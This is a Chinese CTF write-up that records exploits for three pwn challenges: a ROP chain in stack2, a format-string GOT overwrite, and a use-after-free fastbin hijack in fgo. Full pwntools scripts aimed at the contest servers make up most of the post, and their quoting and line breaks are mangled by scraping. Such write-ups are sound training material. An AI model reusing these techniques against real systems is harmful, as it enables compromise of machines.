记录一下最近的pwn

Posted joe-z

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记录一下最近的pwn相关的知识,希望对你有一定的参考价值。

qctf stack2:

 服务器中/bin/bash字符串不能执行,构造rop调用system(sh)拿到shell。

技术分享图片

exp:

from pwn import *

#p=process(‘./stack2‘)
p=remote(‘47.96.239.28‘,2333)
#context.log_level=‘debug‘

p.recvuntil("have:
")
p.sendline(‘1‘)
p.recvuntil("numbers
")
p.send("115
")

p.recvuntil("exit
")
p.send("3"+"
")
p.recvuntil("change:
")
p.send("132"+"
")
p.recvuntil("number:
")
p.send("180"+"
")

p.recvuntil("exit
")
p.send("3"+"
")
p.recvuntil("change:
")
p.send("133"+"
")
p.recvuntil("number:
")
p.send("133"+"
")

p.recvuntil("exit
")
p.send("3
")
p.recvuntil("change:
")
p.sendline("134")
p.recvuntil("number:
")
p.sendline("4")

p.recvuntil("exit
")
p.send("3
")
p.recvuntil("change:
")
p.sendline("135")
p.recvuntil("number:
")
p.sendline("8")

#####
p.recvuntil("exit
")
p.send("3"+"
")
p.recvuntil("change:
")
p.send("136"+"
")
p.recvuntil("number:
")
p.sendline(‘135‘)

p.recvuntil("exit
")
p.send("3"+"
")
p.recvuntil("change:
")
p.send("137"+"
")
p.recvuntil("number:
")
p.sendline(‘137‘)

p.recvuntil("exit
")
p.send("3
")
p.recvuntil("change:
")
p.sendline("138")
p.recvuntil("number:
")
p.sendline(‘4‘)

p.recvuntil("exit
")
p.send("3
")
p.recvuntil("change:
")
p.sendline("139")
p.recvuntil("number:
")
p.sendline(‘8‘)

p.recvuntil("exit
")
#gdb.attach(p,"b *0x80488ee")
p.send("5
")
p.interactive()

 网鼎杯:

pwn1(格式化字符串漏洞)

 没有给libc就需要泄露got地址然后查找对应的版本,查询网址:libc.ml,然后查看对于system的偏移。

技术分享图片

#!/usr/bin/env python

from pwn import *
#Io = process("./pwn")
Io= remote("106.75.126.184",‘58579‘)

def leak(addr):
    
    
    payload = p32(addr) + "%6$s"
    Io.sendline(payload)
    leak_data = Io.read()
    return leak_data[4:8]

def get_number(printed, target):
    print "[+] Target : %d" % (target)
    print "[+] printed number : %d" % (printed)
    if printed > target:
        return 256 - printed + target
    elif printed == target:
        return 0
    else:
        return target - printed

def write_memery(target, data, offset):
    lowest = data >> 8 * 3 & 0xFF
    low = data >> 8 * 2 & 0xFF
    high = data >> 8 * 1 & 0xFF
    highest = data >> 8 * 0 & 0xFF
    printed = 0
    payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
    length_lowest = get_number(len(payload), lowest)
    length_low = get_number(lowest, low)
    length_high = get_number(low, high)
    length_highest = get_number(high, highest)
    payload += ‘%‘ + str(length_lowest) + ‘c‘ + ‘%‘ + str(offset) + ‘$hhn‘
    payload += ‘%‘ + str(length_low) + ‘c‘ + ‘%‘ + str(offset + 1) + ‘$hhn‘
    payload += ‘%‘ + str(length_high) + ‘c‘ + ‘%‘ + str(offset + 2) + ‘$hhn‘
    payload += ‘%‘ + str(length_highest) + ‘c‘ + ‘%‘ + str(offset + 3) + ‘$hhn‘
    return payload



Io.readuntil("repeater?
")

# leak
printf_got = 0x0804A014
system_off=0x3a940
printf_off=0x49020
Io.readuntil("
")
printf_addr = u32(leak(printf_got))
system_addr = printf_addr - printf_off + system_off

payload = write_memery(printf_got, system_addr, 6)
Io.readuntil("
")
Io.sendline(payload)
Io.readuntil("
")
Io.sendline("/bin/sh")
Io.interactive()

 

fgo:

      32位下为8bytes,64位下为16bytes对齐,而最小分配单位:32位下malloc的最小分配单位为16字节,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。;64位下最小分配单位为32字节,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。 

      漏洞在于delete时存在uaf,add操作先malloc(8)存放打印函数地址和content地址,紧接着自定义malloc存放content ,限定5次add操作。所以数据结构为:

servantlist:

servantlist[0]
servantlist[1]

 

 

servant(8 bytes):

print_addr
content_addr

 

 

 

技术分享图片

 

根据fastbin原理,先malloc两个大小24的content,其中包括自动malloc两个8bytes的servanlist,随后delete(1),delete(0),然后malloc 8bytes的content,内容就会覆盖servantlist[0]指向的servant结构,用system(/bin/sh)地址覆盖print_addr实现劫持。

#!/usr/bin/env python
from pwn import *
context.log_level=‘debug‘
r=remote(‘106.75.104.139‘, 26768)
#r = process(‘./fgo‘)
def add(size,content):   
    r.recvuntil(‘Your choice:
‘)
    r.sendline(‘1‘) 
    r.recvuntil(‘name : 
‘)

    r.sendline(str(size))  
    r.recvuntil(‘ability : 
‘)
    r.sendline(content)
    
def delete(index):
    r.recvuntil(‘Your choice:
‘)   
    r.sendline(‘2‘)   
    r.recvuntil(‘Index : 
‘)
    r.sendline(str(index))
def show(index):
    r.recvuntil(‘Your choice:
‘)
    r.sendline("3")
    r.recvuntil(‘Index :‘)
    r.sendline(str(index))

add(20,‘1‘*4) #0
add(20,‘2‘*4) #1

delete(0)
delete(1)
add(8,p32(0x08048956)+p32(0x8048c80))
show(0)
r.interactive()

 

以上是关于记录一下最近的pwn的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

记录一次入门pwn题--ret2shellcode

pwn学习之一

环境的搭建--PWN入门系列

pwn学习之二

pwn-GUESS